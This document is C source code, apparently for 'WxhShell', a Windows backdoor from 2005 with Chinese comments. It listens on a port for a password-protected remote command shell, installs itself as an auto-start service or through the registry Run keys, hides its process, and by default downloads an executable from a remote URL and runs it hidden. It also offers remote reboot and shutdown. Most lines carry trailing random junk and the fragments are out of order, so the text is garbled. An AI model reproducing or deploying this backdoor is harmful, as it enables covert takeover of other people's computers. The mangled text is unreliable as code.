{ wo7N7R5
DWORD ExitStatus; AI^AK0.L
DWORD PebBaseAddress; oTq%wi6 _
DWORD AffinityMask; ILkjz^
DWORD BasePriority; tl{]gz
ULONG UniqueProcessId; ql!5m\
ULONG InheritedFromUniqueProcessId; p/ziFpU
} PROCESS_BASIC_INFORMATION; Ek"YM[
vO}qjw
PROCNTQSIP NtQueryInformationProcess; Ap
F*a$),
*ajFZI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !7:EE,W~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7%:??*"~
Qq`3S>
HANDLE hProcess; NDB*BmG
PROCESS_BASIC_INFORMATION pbi; SKB@
8eOl@}bV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %-h7Z3YcN
if(NULL == hInst ) return 0; x\Nhix}1D
D 7Gd%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Ia4H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x><zGXvvp|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;el]LnV!O
5S&aI{;9<
if (!NtQueryInformationProcess) return 0; [b7it2`dl
B]'e$uyL7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tjd&^m
if(!hProcess) return 0; 3q'K5}
_
+O|_P`HBoI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]}nu9z<
v
t^r1j
CloseHandle(hProcess); C!$Xv&"r
S[-.tvI;Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7,pje j
if(hProcess==NULL) return 0; &M0o&C-1/
pd=7^"[};
HMODULE hMod; N; rXl8
char procName[255]; b*lKT]D,
unsigned long cbNeeded; S9OxI$6Y
}U2[?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .LX?VD
PRMZfYc
CloseHandle(hProcess); 21.YO]Et
1zdYBb6;j
if(strstr(procName,"services")) return 1; // 以服务启动 \1=T
sU&^
rER~P\-
return 0; // 注册表启动 f2uZK!:m
} Zr\2BOcc.l
>=4sPF)
// 主模块 am]3
"V>
int StartWxhshell(LPSTR lpCmdLine) Hm.X}HO0L
{ R!sNg
SOCKET wsl; "AT&!t[J
BOOL val=TRUE;
bZxv/\
int port=0; o:Ln._bj
struct sockaddr_in door; @)
L=d$"Q
if(wscfg.ws_autoins) Install(); qv.[k<~a>
IJ hxE
port=atoi(lpCmdLine); MNkKy(Za
I|$'Q$m~
if(port<=0) port=wscfg.ws_port; WEno+Z~=1'
%0NL Rfp
WSADATA data; R|/Wz/$1A
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #uQrJh1o8
l>A\V)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2}D,df'W4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ].LJt['%8
door.sin_family = AF_INET; f&K}IM8& #
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q]!6uA$A
door.sin_port = htons(port); )URwIe{
g+:$X- r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #N; $
closesocket(wsl); [fd~nD#.
return 1; }'u3U"9)
} |__d 8a
H!p!sn
if(listen(wsl,2) == INVALID_SOCKET) { 0 9tikj1
closesocket(wsl); !$xzAX,
return 1; LOe4c0C6Ca
} ,xYg
Wxhshell(wsl); O\%j56Bf
WSACleanup(); X
d!Cp
Gj6<s./
return 0; Lt>?y&CcQ
"K8nxnq
} 3 Q@9S
/#29Y^Z)=
// 以NT服务方式启动
wtlB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [70Y,,w
{ wbBE@RU>!
DWORD status = 0; Xz8$Xz,O
DWORD specificError = 0xfffffff; <|otZJ'2r
!
&y
serviceStatus.dwServiceType = SERVICE_WIN32; p#)e:/Qy
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,Ak ^nX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nc,*hsx'
serviceStatus.dwWin32ExitCode = 0; 7Ez}k}aR<
serviceStatus.dwServiceSpecificExitCode = 0; GM:,CJ?
serviceStatus.dwCheckPoint = 0; 4>l0V<
serviceStatus.dwWaitHint = 0; 6{L F-`S%
V!mWn|lf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "@(58nk
if (hServiceStatusHandle==0) return; OO$|9`a
#sL/y
status = GetLastError(); 0xv\D0
if (status!=NO_ERROR) \Ph]*%
{ I I&<
serviceStatus.dwCurrentState = SERVICE_STOPPED; X@cSP7b
serviceStatus.dwCheckPoint = 0; ,dOMW+{
serviceStatus.dwWaitHint = 0; YRXK@'[=
serviceStatus.dwWin32ExitCode = status; cY{I:MA+h@
serviceStatus.dwServiceSpecificExitCode = specificError; #0(fOHPQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]XY0c6
<
return; +9TV:T
} D$ ej+s7
^[0"vtb
serviceStatus.dwCurrentState = SERVICE_RUNNING; cFw3Iw"JJ
serviceStatus.dwCheckPoint = 0; :|=- (z
serviceStatus.dwWaitHint = 0; )TM!ms+K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ci;&CHa
} 5|5=Y/
FbmsN)mv!%
// 处理NT服务事件,比如:启动、停止 nVNs][
VOID WINAPI NTServiceHandler(DWORD fdwControl) R<>tDwsZGa
{ f7ZA837Un
switch(fdwControl) &u("|O)w$
{ &h\7^=s.
case SERVICE_CONTROL_STOP: 2av*o~|J*:
serviceStatus.dwWin32ExitCode = 0; `6UtxJSx
serviceStatus.dwCurrentState = SERVICE_STOPPED; RFB(d=o5S
serviceStatus.dwCheckPoint = 0; $:(z}sYQ7
serviceStatus.dwWaitHint = 0; l`* ( f9Q
{ (NPxab8e*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )}quw"H
} 7pz\ScSe
return; w?*jdwh,'
case SERVICE_CONTROL_PAUSE: !n:uiwh
serviceStatus.dwCurrentState = SERVICE_PAUSED; BK*z 4m
break; j"i#R1T
case SERVICE_CONTROL_CONTINUE: v:?o3
S
serviceStatus.dwCurrentState = SERVICE_RUNNING; U[ bgu#P;
break; g[AA,@p+
case SERVICE_CONTROL_INTERROGATE: Rh[Ib m56
break; sSz%V[XWL
}; w1cw1xX*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d[S#Duz<&
} YQ+^
I=o'+>az
// 标准应用程序主函数 %OEq,Tb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VE*j*U
j
{ :,47rN,qa
(2d3jQN`
// 获取操作系统版本 Hxn<(gd
G
OsIsNt=GetOsVer(); SYeE) mI
GetModuleFileName(NULL,ExeFile,MAX_PATH); `2,a(Sk#
LZ4xfB(
// 从命令行安装 8'\~%xw
if(strpbrk(lpCmdLine,"iI")) Install(); 5=Suj*s{D#
y~dB5/
// 下载执行文件 $e*B:}x}
if(wscfg.ws_downexe) { k8
u%$G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m9woredS,
WinExec(wscfg.ws_filenam,SW_HIDE); >gnF]<
} }I]W'<jY
/h7.oD8CU
if(!OsIsNt) { P2t_T'R}
// 如果时win9x,隐藏进程并且设置为注册表启动 E0<)oQ0Xa>
HideProc(); )d:K:YXt
StartWxhshell(lpCmdLine); g#|oif9o
} (![t_r0
else Ox|TMSb^
if(StartFromService()) gJK KR]4*
// 以服务方式启动 K?[)E3
StartServiceCtrlDispatcher(DispatchTable); ^&-a/'D$,
else 1|]xo3j"'
// 普通方式启动 -,|ha>r
StartWxhshell(lpCmdLine); [g`, AmR\!
7=vYO|a/4
return 0; W_%W%i|
} ^4 8\>-Q\
e"~)Utk
wA631kr
VXwPdMy*L
=========================================== ogJ<e_m
nPOO3!<{
3}j1RYtz
Za0gs @$
St2Q7K5s{
0E1=W6UZ
" ~{P:sjsU
rd"
&QB{
#include <stdio.h> >D~w}z/fk
#include <string.h> 1AT'S;`
#include <windows.h> pqH4w(;
#include <winsock2.h> FQ!Oxlq,Q
#include <winsvc.h> 8kS~ENe?o
#include <urlmon.h> sl^n6N
@mNJ=mEV
#pragma comment (lib, "Ws2_32.lib") 9x[ U$B
#pragma comment (lib, "urlmon.lib") Z7KXWu+6`m
.jargvAL*
#define MAX_USER 100 // 最大客户端连接数 {>h97}P
#define BUF_SOCK 200 // sock buffer B4^`Sw
#define KEY_BUFF 255 // 输入 buffer >(3'Tnu
~~q}cywBk
#define REBOOT 0 // 重启 {_(+>v"eJ
#define SHUTDOWN 1 // 关机 Zih ?Bm
,VWGq@o%
#define DEF_PORT 5000 // 监听端口 #%8 w
g|4w8ry
#define REG_LEN 16 // 注册表键长度 nP;;MX:B
#define SVC_LEN 80 // NT服务名长度 !k-` eJ|
5VKcV&D
// 从dll定义API A0>x9 XSkJ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s1=+::
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . ,R4WA,
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fhr-Y'
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )!sa)\E?
-dG,*0 >
// wxhshell配置信息 $rB6<
struct WSCFG { Y"*:&E2)r
int ws_port; // 监听端口 puF%=i
char ws_passstr[REG_LEN]; // 口令 "H?QqrKx
int ws_autoins; // 安装标记, 1=yes 0=no +Vy_9I(4Z
char ws_regname[REG_LEN]; // 注册表键名 0;<OYbm3<
char ws_svcname[REG_LEN]; // 服务名 cgN>3cE
char ws_svcdisp[SVC_LEN]; // 服务显示名 auL^%M|$R
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Euus5[
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pr/]0<s
int ws_downexe; // 下载执行标记, 1=yes 0=no 'evv,Q{87
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]"h=Qc
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !W~<q{VTs
sOz sY7z3Z
}; nvH|Ngg Q
) Fx?%
// default Wxhshell configuration 3e
73l
struct WSCFG wscfg={DEF_PORT, uy9!qk
"xuhuanlingzhe", ]Uh1l.O
1, ="dDA/,$VS
"Wxhshell", c&m9)r~zP
"Wxhshell", Jn#K0(FQ
"WxhShell Service", ]
D6|o5
"Wrsky Windows CmdShell Service", lkwh'@s.
"Please Input Your Password: ", {g_@Tuu
1, .`J:xL%Z
"http://www.wrsky.com/wxhshell.exe", GO~k '
"Wxhshell.exe" gl
"_:atW
}; " '[hr$h3
}dKLMNqPA
// 消息定义模块 xqv[?
?
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Q[yD<)Ubs
char *msg_ws_prompt="\n\r? for help\n\r#>"; F.
T@)7
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Sa!5h
char *msg_ws_ext="\n\rExit."; mgcN( n1
char *msg_ws_end="\n\rQuit."; 2*Q3.2 Z
char *msg_ws_boot="\n\rReboot..."; Y&GuDLUF
char *msg_ws_poff="\n\rShutdown..."; mp:m`sh*i
char *msg_ws_down="\n\rSave to "; $20s]ywS
h'!V8'}O?
char *msg_ws_err="\n\rErr!"; DY.58IHg1
char *msg_ws_ok="\n\rOK!"; l{Er+)a
u E.^w;~2=
char ExeFile[MAX_PATH]; _Wma\(3$
int nUser = 0; +>#e=nH
HANDLE handles[MAX_USER]; M5O'=\+,F
int OsIsNt; }"4roJ
s5AgsMq
SERVICE_STATUS serviceStatus; iC*U $+JG
SERVICE_STATUS_HANDLE hServiceStatusHandle; O^NP0E
WK4@:k
m6)
// 函数声明 \O? u*
int Install(void); > UWStzH<
int Uninstall(void); ZAeQ~ j~
int DownloadFile(char *sURL, SOCKET wsh); (}"S)#C
int Boot(int flag); n1 v,#GE
void HideProc(void); ?0z)EPQ|
int GetOsVer(void); f[}|rf
int Wxhshell(SOCKET wsl); <\ETPL,<
void TalkWithClient(void *cs); 1Z 6SI>p
int CmdShell(SOCKET sock); !g2a|g
int StartFromService(void); =UUd8,C/
int StartWxhshell(LPSTR lpCmdLine); 4By]vd<;=
@woC8X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h>W@U9
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >BJ}U_ck
|D<+X^0'
// 数据结构和表定义 *l-`<.
SERVICE_TABLE_ENTRY DispatchTable[] = m^A]+G#/
{ )Mi'(C;
{wscfg.ws_svcname, NTServiceMain}, `
FxtLG,F
{NULL, NULL} U`1l8'W}:#
}; 4+Ti7p06&\
blp=Hk
// 自我安装 BKZ v9
int Install(void) H"D5e
{ Azn:_4O
char svExeFile[MAX_PATH]; -|[~sj-p
HKEY key; ?Pnx~m{%*
strcpy(svExeFile,ExeFile); QnU0"_-
r--;yEjWE
// 如果是win9x系统,修改注册表设为自启动 Fr;lG
if(!OsIsNt) { ugxw!cj
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m}pL`:e!
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f~*K {7
RegCloseKey(key); ttj2b$M,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `:4MMr9 1
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 50,Y
RegCloseKey(key); y\Dn^
return 0; S+pP!YX
} \xeVDKJH+n
} k/bque
} n;qz^HXEJ
else { !-RwB@\
!7c'<[+Hm
// 如果是NT以上系统,安装为系统服务 qguVaV4Y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -#%X3F7/w
if (schSCManager!=0) PGY9*0n
{ }$:#+
(17
SC_HANDLE schService = CreateService I%i:)6Un-y
( j6og3.H-
schSCManager, PY-+ Bf
wscfg.ws_svcname, A8!Ed$@
wscfg.ws_svcdisp, k9&@(G[K3
SERVICE_ALL_ACCESS, )UP8#|$#T
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k(v"B@0
SERVICE_AUTO_START, uS-3\$
SERVICE_ERROR_NORMAL, 6F-JK1i
svExeFile, J[r^T&o
NULL, NQR^%<hU
NULL, OAVQ`ek
NULL, E*^9|Y[
NULL, K7Gm-=%
NULL }9=2g`2Q
); F"=Hp4-C
if (schService!=0) Yw[{beo
{ "uhV|Lk*7
CloseServiceHandle(schService); phS>T
CloseServiceHandle(schSCManager); 3SFg#
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xKb"p4k9d
strcat(svExeFile,wscfg.ws_svcname); 0d`5Gy_ D%
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M8zE3;5
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gD1+]am
RegCloseKey(key); `*d{PJTv
return 0; K%PxA#P}
} jE*Ff&]%m
} pw;r 25
CloseServiceHandle(schSCManager); f@x_#ov
} \n;g2/VjO
} mmcdtVe
_k|g@"
return 1; 0 {,h.:
} V&R$8tpz
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